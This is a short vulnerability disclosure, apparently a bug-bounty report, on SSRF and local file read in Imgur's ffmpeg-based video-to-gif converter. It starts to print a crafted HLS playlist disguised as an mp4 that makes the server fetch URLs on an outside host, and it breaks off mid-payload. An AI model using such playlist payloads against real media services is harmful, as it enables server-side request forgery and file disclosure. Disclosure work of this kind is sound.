Imgur: SSRF and local file read in video to gif converter

Video to gif converter on http://imgur.com/vidgif uses Lavf/55.48.100 with network options enabled. It makes possible SSRF by uploading specially crafted playlist. For example we can use mp4 file http://yngwie.ru/1.mp4 EXTM3U EXT-X-MEDIA-SEQUENCE:0 EXTINF:10.0, http://yngwie.ru/2.mp4 EXT-X-ENDLIS...